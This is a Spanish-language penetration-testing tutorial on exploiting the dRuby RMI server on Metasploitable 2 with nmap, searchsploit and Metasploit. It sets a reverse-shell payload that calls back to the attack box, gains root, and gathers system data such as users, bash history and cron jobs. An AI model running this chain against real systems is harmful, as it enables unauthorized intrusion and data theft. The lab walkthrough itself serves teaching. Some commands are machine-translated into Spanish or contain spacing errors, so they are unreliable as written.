En este tutorial hackeará dRuby utilizando una vulnerabilidad de ejecución remota de código en el servidor dRuby RMI que se ejecuta en Metasploitable 2. dRuby es un sistema de objetos distribuidospara Ruby y está escrito en Ruby. dRuby usa su propio protocolo y se une a un URI como druby: //example.com en el puerto 8787. Por defecto, el puerto 8787 no es escaneado por Nmap ya que no está incluido en la lista de 1.000 puertos comunes que se escanean de manera predeterminada cuando no se especifican opciones de puerto adicionales. El puerto abierto 8787 en Metasploitable 2 permanecería desapercibido a menos que usemos el indicador -p- para escanear todos los 65535 puertos o usemos un rango de puertos que incluya el puerto 8787. Este ejemplo nos muestra la importancia de ejecutar siempre un escaneo de puerto completo en un objetivo al realizar la enumeración de la red. Podríamos fácilmente perder información crucial que puede usarse para comprometer el objetivo.
Hackear dRuby RMI Server 1.8 con Metasploit
Comenzaremos el tutorial de piratería dRuby con el escaneo del puerto 8787 con Nmap y luego realizaremos una evaluación de vulnerabilidad. Que estaremos pirateando el servidor dRuby RMI utilizando Metasploit mediante la explotación de las vulnerabilidades encontradas. Concluiremos este tutorial con un script de post explotación de Metasploit para recopilar información del sistema comprometido y revisar las lecciones aprendidas.
Escaneo de Nmap en el puerto 8787
Ejecutamos el siguiente comando en la consola para realizar un análisis del Servicio Nmap en Metasploitable en el puerto 8787:
nmap -sV [IP] -p8787
Como ya esperábamos, el puerto 8787 está abierto y el servidor Ruby DRb RMI versión 1.8 se está ejecutando en el host de destino. Veamos qué vulnerabilidades están disponibles para esta versión de Ruby distribuido (dRuby) usando searchsploit.
Searchsploit dRuby exploits
Intentemos buscar en la base de datos de searchsploit usando una búsqueda de coincidencia exacta usando el indicador -e:
searchsploit -e Ruby DRb RMI
La consulta de coincidencia exacta no arroja ningún resultado. Esto significa que debemos usar un término de búsqueda más general. Podríamos eliminar RMI del término de búsqueda y, si eso no arroja ningún resultado, podemos simplemente buscar los exploits de Ruby y examinar los resultados uno por uno. Personalmente, sugiero usar este enfoque, donde pasamos de términos de búsqueda específicos a términos de búsqueda generales, cuando un término de búsqueda general arroja demasiados resultados. Por ejemplo, el término de búsqueda WordPress devuelve 100 de resultados y ‘WordPress 3’ solo 9.
Cuando buscamos Searchsploit para Ruby exploit utilizando el siguiente comando, se nos presentan menos de 30 resultados:
searchsploit ruby
Cuando revisamos la lista de exploits, podemos ver 2 exploits para Distributed Ruby que vale la pena examinar más a fondo. Reduzcamos los resultados buscando «Distributed Ruby»:
Recuerde colocar el distintivo -e en nuestro comando para mostrar solo los resultados que coinciden directamente con este término de búsqueda. Echemos un vistazo al exploit Distributed Ruby Send instance_eval / syscall Code Execution. Cuando usamos el siguiente comando podemos obtener información adicional sobre el exploto y la ruta al exploit se copia al portapapeles:
searchsploit -p 17058
A continuación, podemos verificar el contenido del archivo con el siguiente comando:
cat / usr/share/exploitdb/platforms/linux/remote/17058.rb
Metasploit: hackear el servidor dRuby RMI 1.8
Podemos ver que estamos lidiando con un exploit Metasploit aquí. Arranquemos Metasploit y busquemos el exploit allí. Ejecute el siguiente comando para iniciar msfconsole:
msfconsole
Como conocemos el nombre del exploit, solo podemos buscar el campo de nombre con el siguiente comando:
nombre de búsqueda: Ruby distribuido Enviar instance_eval / syscall Ejecución de código
Y luego seleccione el exploit usando el comando de uso:
use exploit / linux / misc / drb_remote_codeexec
Primero configuremos una carga útil de shell inverso de Ruby para este exploit usando el siguiente comando:
establecer la carga útil cmd / unix / reverse_ruby
Use el comando de opciones para mostrar las opciones disponibles para este exploit:
opciones
Luego tenemos que configurar el LHOST para la carga útil:
establecer LHOST [IP attack box]
Y configuramos el URI usando el siguiente comando (el formato esperado se menciona en la descripción):
establecer URI druby: // [IP de destino]: 8787
El puerto de escucha se puede dejar como está. Todo lo que queda ahora es ejecutar el exploit usando el comando exploit y si todo se hace correctamente un shell inverso con privilegios de root se devuelve al cuadro de ataque:
Recopilación de información posterior a la explotación
Avancemos un paso más y echemos un vistazo a uno de los módulos posteriores a la explotación / recopilación de información disponibles para Linux, el módulo enum_system. Podemos seleccionar este módulo haciendo un fondo de la sesión del shell de comandos 1 usando CTRL + Z. Luego nos pedirá que hagamos un seguimiento de la sesión actual, confirmaremos con ‘y’.
A continuación, seleccione el módulo enum_system con el siguiente comando:
usar enum_system
O:
use post / linux / gather / enum_system
Escriba el comando info para ver qué hace exactamente este módulo:
La descripción nos dice que los módulos recopilan información del sistema, como paquetes instalados, servicios instalados, información de montaje, lista de usuarios, historial de usuarios bash y trabajos cron.
Para ejecutar este módulo de recopilación de publicaciones, debemos apuntar el módulo a la sesión activa utilizando el siguiente comando:
establecer la sesión 1
Ahora escriba ejecutar para ejecutar el módulo:
correr
Podemos ver que toda la información se descarga a nuestro cuadro de ataque y se almacena en la siguiente ubicación:
/root/.msf4/loot/
Para examinar los archivos, simplemente puede enviar un cd a la ubicación y registrar los contenidos de los archivos de texto en la consola.
Lecciones aprendidas
En este tutorial de explotación, hemos aprendido algunas cosas importantes cuando se realizan pruebas de penetración. Repasemos las lecciones aprendidas en este Tutorial de Hacking.
Escanee todos los puertos
Lo primero que hemos aprendido es que debemos analizar todos los puertos disponibles en un host traget al realizar una prueba de penetración. Cuando estamos ejecutando los escaneos de puertos NMap predeterminados, solo se escanean los 1000 puertos principales. En este tutorial hemos comprometido un host que usa un servicio que se ejecuta en un puerto que no estaba en la lista de puertos predeterminada de NMap.
Buscar exploits de manera efectiva y eficiente
También aprendimos cómo usar searchsploit de manera efectiva cuando se devuelven demasiados resultados o ninguno. Un buen enfoque cuando un término de búsqueda general retorna a muchos resultados es pasar de términos de búsqueda muy específicos a términos de búsqueda más generales. Muy específico podría ser el nombre del servicio, incluido el número de versión, y un término de búsqueda más general podría ser solo el nombre del servicio. En este tutorial, el término de búsqueda ‘Ruby DRB RMI’ no arrojó ningún resultado, pero ‘Distributed Ruby’ obtuvo los resultados que estábamos buscando.
Recopilación y explotación de información posterior
Por último, hemos visto algunos de los módulos de post reunión de Metasploit: enum_system. después de hackear dRuby, puede descargar información importante del host comprometido a nuestro cuadro de ataque utilizando el módulo Elsum_summary. Tales como archivos de registro, archivos y servicios setuid / setgid. La recopilación y explotación de información postal es una parte importante de cada prueba de penetración. En este caso, obtuvimos acceso raíz al host en el primer shell inverso. Con mayor frecuencia, se devuelve un shell con privilegios y las técnicas posteriores a la explotación se deben usar para la escalada de privilegios. En tutoriales a seguir vamos a entrar en más detalles sobre la explotación posterior y la escalada de privilegios.
Fuente: Hackingtutorials.org